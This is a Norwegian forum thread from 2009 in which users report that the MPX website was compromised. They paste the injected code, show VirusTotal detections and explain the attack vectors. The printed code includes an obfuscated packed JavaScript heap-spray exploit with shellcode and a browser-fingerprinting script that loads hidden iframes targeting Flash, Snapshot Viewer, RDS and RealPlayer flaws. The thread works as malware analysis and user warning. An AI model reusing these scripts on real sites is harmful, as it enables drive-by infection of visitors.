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Trojaner på MPX sine sider?


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Annonse

Ja sett litt på dette og siden har helt klart fått inn noe grums som bør fjernes.

Avira free som jeg bruker reagerte på dette den og.

 

Virustotal er bare Microsoft som finner noe.

Microsoft 1.4306 2009.02.20 Exploit:JS/MS09002.A

 

Ser vi på kildekoden som blir kjørt er det et JavaScript.

Her er Regular expression brukt på en kreativ måte.

Og som norbat sier leder dette til en 'kinesisk' side.

 

<script language="JavaScript">eval(function(p,a,c,k,e,d){e=function©{return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e©+'\\b','g'),k[c])}}return p}('1 5L=3("%5r%2r%2n");1 58=3("%5n%2d%5i%1N");1 5C=3("%5e%5f%53%59");1 57=3("%5H%5N%4x%4p");1 4n=3("%4q%37%4Q%4P");1 4A=3("%37%4W%4V%4M");1 34=3("%72%6u%6t%6v%6w%6x%6s%6r%6n%6m%2d%6o%6p%6q%6y%2r%2n%4");1 35=3("%6%6H%5%6I");1 36=3("%6J%6K%j%6G");1 32=3("%6F%2i%e%6B");1 31=3("%6A%6C%6D%e");1 2X=3("%6E%6l%6k%62");1 30=3("%61%63%64%65");1 38=3("%60%5Z%5V%5U");1 39=3("%2o%5W%1z%5X");1 3i=3("%2i%5Y%66%67");1 3h=3("%e%6g%e%6f");1 3k=3("%6h%6i%6j%6e");1 3l=3("%1P%6d%69%68");1 3g=3("%6a%e%6b%6c");1 3f=3("%6L%6M%p%7n");1 3b=3("%7m%7o%e%7p");1 3a=3("%7q%7l%p%7k");1 3c=3("%7g%7f%p%5T");1 3d=3("%7h%4%8%7");1 3e=3("%4%7i%7j%7r");1 2U=3("%8%7%6%7s");1 2B=3("%7A%7B%2h%4");1 2A=3("%6%7C%5%7D");1 2C=3("%7z%f%7y%5");1 2D=3("%a%7u%5%7t");1 2E=3("%7v%a%7w%5");1 2z=3("%6%7x%5%7e");1 2y=3("%7d%4%8%7");1 2t=3("%4%6V%6U%6W");1 2u=3("%8%7%6%6X");1 2v=3("%6Y%6T%6S%4");1 2x=3("%6%6O%5%6N");1 2G=3("%6P%4%8%7");1 2P=3("%5%6Q%6R%6Z");1 2O=3("%8%7%6%70");1 2Q=3("%79%78%7a%4");1 2R=3("%6%7b%5%7c");1 2S=3("%77%4%8%7");1 2N=3("%5%76%71%1y");1 2M=3("%8%7%6%73");1 2I=3("%74%75%7E%4");1 2H=3("%6%5p%5%4H");1 2J=3("%4I%4%8%7");1 2K=3("%4%4J%4K%4G");1 2L=3("%8%7%6%4F");1 3m=3("%1X%1S%4B%4");1 3u=3("%6%4C%4%1R");1 41=3("%4D%9%8%7");1 4a=3("%5%4E%4L%1y");1 3X=3("%8%7%6%4T");1 3Y=3("%4U%4S%4R%9");1 48=3("%6%4O%5%4X");1 47=3("%4l%9%8%7");1 46=3("%4%4o%4k%4j");1 45=3("%8%7%6%4z");1 44=3("%1X%1S%4y%9");1 42=3("%6%4r%4%1R");1 40=3("%4t%9%8%7");1 49=3("%5%4w%4s%4u");1 4d=3("%8%7%6%4v");1 4e=3("%4m%4N%5S%9");1 4h=3("%6%5A%4%5z");1 43=3("%5B%9%8%7");1 3Z=3("%4%5D%5y%5x");1 4i=3("%8%7%6%5s");1 4f=3("%5u%5v%5w%9");1 4c=3("%6%5F%4%5O");1 4b=3("%5P%9%8%7");1 4g=3("%4%5Q%5R%5M");1 3V=3("%8%7%6%5G");1 3z=3("%5I%5J%5K%9");1 3y=3("%6%5q%4%5a");1 3x=3("%1Y%5%1D%56");1 3A=3("%9%1W%55%5");1 3B=3("%50%51%1O%5c");1 3D=3("%2k%1Q%j%25");1 3C=3("%k%v%5d%5m");1 3w=3("%m%f%u%5");1 3v=3("%a%5l%4%5o");1 3q=3("%o%a%5k%5");1 3p=3("%5j%5g%y%s");1 3o=3("%v%5h%54%l");1 3r=3("%f%u%5%k");1 3s=3("%52%4%4Z%m");1 3W=3("%a%5b%5%a");1 3t=3("%5E%y%s%o");1 3E=3("%5t%4Y%l%6z");1 3F=3("%u%5%k%v");1 3Q=3("%4%8g%m%f");1 3P=3("%9X%5%a%9Y");1 3R=3("%y%s%o%a");1 3S=3("%9Z%a0%9W%9V");1 3U=3("%1Y%5%1D%7");1 3T=3("%1M%1W%9R%5");1 3O=3("%9Q%m%1O%9S");1 3N=3("%9T%1Q%j%25");1 3I=3("%9U%4%a2%a3");1 3H=3("%ab%9%4%ac");1 3G=3("%4%d%k%ad");1 3J=3("%ae%aa%a9%a5");1 3K=3("%1P%j%a4%a6");1 3M=3("%4%d%a7%a8");1 3L=3("%1V%9P%9O%9x");1 2Z=3("%9w%9y%9z%1M");1 2m=3("%9A%9v%1N%9u");1 D=3("%9q%9p%9r%4");1 C=3("%9s%9t%l%9B");1 H=3("%9C%4%d%q");1 I=3("%9K%9L%9M%9N");1 N=3("%9J%9I%9E%q");1 M=3("%9D%9F%ag%5");1 L=3("%1U%9H%af%aq");1 1t=3("%1B%b2%4%1T");1 1s=3("%d%1C%1A%1K");1 1q=3("%4%a%aT%4");1 1r=3("%aK%n%1x%b6");1 1g=3("%1L%aP%5%aQ");1 1v=3("%4%aR%4%1V");1 1d=3("%1T%1U%1L%aS");1 1c=3("%1K%1B%aO%4");1 1e=3("%4%d%1C%1A");1 1f=3("%aN%4%a%aJ");1 1b=3("%5%1z%n%1x");1 1a=3("%aI%aM%aU%1J");1 15=3("%6%b3%5%b4");1 14=3("%b5%b1%b0%5");1 16=3("%aW%aV%aX%aY");1 17=3("%aZ%aL%aG%ap");1 19=3("%ao%aH%ar%as");1 18=3("%1F%1E%1E%d");1 1h=3("%5%f%an%4");1 1i=3("%am%4%ai%ah");1 1u=3("%4%1J%4%aj");1 1o=3("%1H%ak%a%al");1 1k=3("%4%at%7F%1H");1 1j=3("%au%aC%aD%aE");1 1l=3("%aF%1G%aB%aA");1 1m=3("%aw%av%ax%ay");1 1n=3("%1F%1G%az%9G");1 13=3("%9n%8f%8e%1Z");1 12=3("%9o%8h%8i%8d");1 K=3("%8c%88%87%89");1 J=3("%q%8a%8b%8j");1 B=3("%a%8k%4%d");1 E=3("%8s%8t%4%8u");1 G=3("%8v%8r%8q%n");1 F=3("%8m%8l%8n%8o");1 O=3("%w%8p%86%85");1 P=3("%4%7O%7N%9");1 Y=3("%7P%7Q%7R%7M");1 X=3("%7L%7H%7G%7I");1 Z=3("%7J%7K%7S%7T");1 10=3("%1Z%81%82%83");1 11=3("%84%w%80%7Z");1 W=3("%4%2g%7V%2h");1 V=3("%2e%7U%4%7W");1 R=3("%2f%7X%2j%4");1 Q=3("%4%2g%7Y%2p");1 S=3("%2e%8w%4%8x");1 T=3("%2f%96%2j%4");1 U=3("%4%2k%97%2p");1 1p=3("%g%98%4%99");1 2q=3("%4%t%95%4");1 28=3("%94%4%g%2o");1 27=3("%4%g%90%4");1 29=3("%8Z%4%t%91");1 2a=3("%4%92%4%g");1 2b=3("%2l%4%g%93");1 26=3("%f%9a%4%t");1 1w=3("%9b%d%9j%5");1 21=3("%9k%w%9l%9m");1 20=3("%4%9i%d%9h");1 22=3("%2l%9d%l%9c");1 23=3("%9e%9f%9g%8Y");1 24=3("%8X%8G%8F%8H");1 2c=3("%8I%8J%8E%8D");1 c=2c+24+23+22+20+21+1w+26+2b+2a+29+27+28+2q+1p+U+T+S+Q+R+V+W+11+10+Z+X+Y+P+O+F+G+E+B+J+K+1

+13+1n+1m+1l+1j+1k+1o+1u+1i+1h+18+19+17+16+14+15+1a+1b+1f+1e+1c+1d+1v+1g+1r+1q+1s+1t+L+M+N

I+H+C+D+2m+2Z+3L+3M+3K+3J+3G+3H+3I+3N+3O+3T+3U+3S+3R+3P+3Q+3F+3E+3t+3W+3s+3r+3o+3p+3q+3v+3

+3C+3D+3B+3A+3x+3y+3z+3V+4g+4b+4c+4f+4i+3Z+43+4h+4e+4d+49+40+42+44+45+46+47+48+3Y+3X+4a+41

3u+3m+2L+2K+2J+2H+2I+2M+2N+2S+2R+2Q+2O+2P+2G+2x+2v+2u+2t+2y+2z+2E+2D+2C+2A+2B+2U+3e+3d+3c+

a+3b+3f+3g+3l+3k+3h+3i+39+38+30+2X+31+32+36+35+34;1 2W=2Y 3j();1 z=8z-(c.A*2+8y);1 b=3("%33%33");8A(b.A<z/2){b+=b}1 2V=b.8B(0,z/2);8C b;r(i=0;i<8K;i++){2W=2V+c}2s();1 2w=3("%8L%8T");1 a1=2Y 3j();r(1 x=0;x<8U;x++)a1.8V(3n.2T("8W"));8S 8R(){h=3n.2T("8N");h.1I;1 2F=h.8M();h.8O();h=8P;2s();r(1 x=0;x<a1.A;x++)a1[x].8Q=2w;2F.1I}',62,689,'|var||unescape|ubcbc|u4343|u547f|ub478|u3fbc|ubcbd|u54ec|||u6c43|u3782|u5443|u54bc|o1|

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166|Array|c164|c163|c130|document|c94|c95|c96|c93|c92|c90|c129|c97|c98|c103|c104|c105|c102

c101|c99|c100|c89|c88|c77|c78|c79|c76|c75|c73|c74|c80|c81|c86|c87|c85|c84|c82|c83|c106|c91

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424b|uc4d4|uddd1|uf254|ubda3|c176|u4254|ubc5f|uae54|ue5d4|ubc73|uec89|uebd4|u5654|u22d4|u0

45|u3d2b|ud5d6|uece3|u438a|ude93|ud1d3|u9a54|ueca2|u421b|u27e2|udbd2|ud9d4|u17d4|ubc8e|u33

5|u3c54|u4341|ubd45|uccd5|ucbca|u42fc|ub878|c178|c180|uc5dd|ua7d4|u4173|u1654|ucad4|u93cf|

d0dd|ud3d8|udfd4|udfd6|ud4cf|u4119|ubd73|uc4db|ud193|ud955|u422e|ubd17|u92df|ubdd3|u8fd4|u

140|uecc0|u2254|uec8a|u53ea|u4cd4|ubde7|u3654|c179|u51d4|uced9|ubd3f|ubd2b|ucfde|ufa7a|uec

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uc87c|u3810|u44bf|ubf98|u4857|u878a|u98c0|u82f5|u8837|uf937|u8a98|uc07c|u80fc|udc7f|u98d0|

69bf|u9ce6|ua4f6|u8a80|ue837|uc494|ue637|u8263|ud3df|u92d5|ucacf|ud4df|ucfd3|uc4da|udad7|u

b93|u9386|ucbcb|ud092|udfc9|u92c8|ucfc9|u8261|u37b8|u37da|uf7b0|uc994|ua0e6|udda0|u47d8|uc

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154|ud49c|uef7f|uf575|u8f44|u7f0c|u4e40|u3112|ubcb8|ud1df|ube7b|ubfc8|u6738|u57fc|u7b37|u7

3f|ua436|u826e|ue850|u3fbd|u0555|ubc7a|u8f9e|u82b4|ubf7f|u7b82|u9cd8|ub8fe|udf93|u8268|u8f

4|u7e3f|ud4ec|ubdb8|uefee|u9e9c|ube0f|u5954|0x01020|0x100000|while|substring|delete|u96b9|

c933|u0b34|u8000|ue2bc|u11eb|u4b5b|0xC0|u0b0b|cloneNode|tbody|clearAttributes|null|src|ok|

unction|u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA|1000|push|img|u0005|uffff|ubf61|ubdfa|u9e54|ufa54|u

df3|u8c54|ub054|ud4fc|uefe4|ubddf|ua654|ubf83|u184f|u9cbc|ubcbf|uebfa|ue805|uffea|u3a05|ub

d6|u4a54|ubcb9|u5744|ue2b9|uec34|u824a|u4837|ucefa|ub405|uddd4|ud9d1|u82bc|uc91a|uc843|ubd

7|u9c98|u9854|u4fbc|uf9f5|ubee1|ube57|ub450|u7fe4|uc1e8|ue46c|u3feb|uea43|ub4d6|u82eb|ucb4

|u54a8|u5444|u376c|u9c54|u425c|uf654|u57d1|ud2d3|ud0d8|uc8d2|u4145|ube9f|ud67f|ud4d0||uc9d

|ud0ce|u829c|ubd53|ubc43|u4487|ub4c8|u54a0|u98c8|u04e2|ud47f|ue3ac|u4382|ue3e2|u4554|udc1c

u31bc|ud8bc|uebec|ubf87|ub81d|ubf85|u843c|u2c2c|u7fe7|u3cb9|u5484|uedbc|u8fac|ua035|u82b5|

3fb4|ub87c|u443f|u7f3f|u6537|u827c|uff7b|ubd90|u4e57|u2cb9|uc855|ub8bd|ube37|u8fea|uc43d|u

e3c|ubce8|ubefd|u425a|uebef|u43d4|ubd47|ubee9|ubcb0|ue9ba|uc82c|u5037|ufc31|ub3c9|u4390|u5

5c|ubeb7|u439a|uad04|u43b9|ubca2'.split('|')))

</script><script>window.setTimeout("ok();",800);</script>

 

Lenke til kommentar

Jeg sendte en jeg også.

 

Dette er en ganske vanlig greie, der man bruker iframe.

 

Innholdet er:

<script>

document.write("<iframe width=100 height=0 src=flash.htm></iframe>");

try{var a;

var ado=(document.createElement("object"));

if(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)

ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");

var as=ado.createobject("Adodb.Stream","")}

catch(a){};

finally{

if(a!="[object Error]"){

document.write("<iframe width=50 height=0 src=14.htm></iframe>")}

else{

try{var n;

var hm=new ActiveXObject("snpvw.Snaps"+"hot Viewer Con"+"trol.1");}

catch(n){};

finally{if(n!="[object Error]"){document.write("<iframe width=100 height=0 src=office.htm></iframe>");}}

if(navigator.userAgent.toLowerCase().indexOf("msie 7")>0)

document.write("<iframe src=02.htm width=100 height=0></iframe>");

function test()

{

Galeee = "IER" + "PCtl.I" + "ERP" + "Ctl.1";

try

{

Like = new ActiveXObject(Galeee);

}catch(error){return;}

vvvvv = Like.PlayerProperty("PRODUCTVE"+"RSION");

if(vvvvv<="6.0.14.552")

document.write("<iframe width=100 height=0 src=real.htm></iframe>");

else

document.write("<iframe width=100 height=0 src=real.html></iframe>");

}}}

test();

</script>

<script language="javascript" src="http://count35.51yes.com/click.aspx?id=350455430&logo=1"></script>

 

 

Virustotal viser:

a-squared 4.0.0.93 2009.02.20 Trojan-Downloader.JS.Agent!IK

AhnLab-V3 2009.2.21.0 2009.02.20 -

AntiVir 7.9.0.85 2009.02.20 HTML/Malicious.ActiveX.Gen

Authentium 5.1.0.4 2009.02.20 -

Avast 4.8.1335.0 2009.02.20 VBS:Obfuscated-gen

AVG 8.0.0.237 2009.02.20 Exploit

BitDefender 7.2 2009.02.20 Trojan.Exploit.SSQ

CAT-QuickHeal 10.00 2009.02.20 -

ClamAV 0.94.1 2009.02.20 -

Comodo 983 2009.02.20 -

DrWeb 4.44.0.09170 2009.02.20 -

eSafe 7.0.17.0 2009.02.19 -

eTrust-Vet 31.6.6368 2009.02.20 -

F-Prot 4.4.4.56 2009.02.20 -

F-Secure 8.0.14470.0 2009.02.20 -

Fortinet 3.117.0.0 2009.02.20 -

GData 19 2009.02.20 Trojan.Exploit.SSQ

Ikarus T3.1.1.45.0 2009.02.20 Trojan-Downloader.JS.Agent

K7AntiVirus 7.10.638 2009.02.20 -

Kaspersky 7.0.0.125 2009.02.20 -

McAfee 5530 2009.02.19 -

McAfee+Artemis 5530 2009.02.19 -

Microsoft 1.4306 2009.02.20 -

NOD32 3873 2009.02.20 -

Norman 6.00.06 2009.02.20 -

nProtect 2009.1.8.0 2009.02.20 -

Panda 10.0.0.10 2009.02.20 -

PCTools 4.4.2.0 2009.02.20 -

Prevx1 V2 2009.02.21 -

Rising 21.17.42.00 2009.02.20 -

SecureWeb-Gateway 6.7.6 2009.02.20 Script.Malicious.ActiveX.Gen

Sophos 4.39.0 2009.02.20 Mal/Iframe-G

Sunbelt 3.2.1855.2 2009.02.17 -

Symantec 10 2009.02.20 -

TheHacker 6.3.2.3.261 2009.02.20 -

TrendMicro 8.700.0.1004 2009.02.20 -

VBA32 3.12.10.0 2009.02.20 -

ViRobot 2009.2.20.1617 2009.02.20 -

VirusBuster 4.5.11.0 2009.02.20 JS.ActiveXploit.Gen

Lenke til kommentar

Jeg får følgende fra PC cilin

Mistenkt angrepsnettsted!













Nettstedet på mpx.no er rapportert som et angrepsnettsted er blokkert basert på sikkerhetsinnstillingene dine


Angrepsnettsted forsøker å installere programvare som stjeler personlig informasjon, bruker datamaskinen din til å angripe andre, eller skade datamaskinen din.

Noen angrepsnettsted distribuerer skadelig programvare med vilje, men mange gjør dette også uten at eierne vet om det.

Lenke til kommentar

Scriptet malwaren legger inn har flere angrepsvinkler. Den sjekker om du kjører IE evt. Firefox etc og ut fra det velger den akuelle iframe:

 

<iframe width=100 height=0 src=flash.htm></iframe>

<iframe width=50 height=0 src=14.htm></iframe>

<iframe width=100 height=0 src=office.htm></iframe>

<iframe src=02.htm width=100 height=0></iframe>

<iframe width=100 height=0 src=real.htm></iframe>

 

Disse har gjerne instruksjoner om å koble seg opp til en bestemt ip/nettside hvor den laster ned annen malware. Denne prosessen går automatisk, men filer som lastes ned vil i de aller fleste tilfeller være noe DU må ta en stilling til.

 

flash.htm: regner med det er svakheter i flash_player som utnyttes (den kan sjekke om det er IE eller Firefox du benytter, hvilken versjon flash-playeren har og ut fra det kjøre 'riktig' prosess for å hente ned mer malware)

 

office.htm: Virker som om det har noe med utnytting av Snapshot Viewer

 

Den kan også benytte clsid ('id' til ActiveX component) for å laste ned malware. I dette tilfeller er clsid'en knyttet til et RDS (Remote Data Services) objekt. Den har noen kjente sårbarheter.

 

real.htm: Antar det utnytter sårbarheter i Real Player

 

src=02.htm og src=14.htm: Usikker på hvilken sårbarhet den utnytter

 

Dette aktualiserer viktigheten av å holde sine programmer oppdatert.

Man kan bruke F-secure Health Check eller Secunia til å sjekke tilstanden på div. programmer.

Endret av norbat
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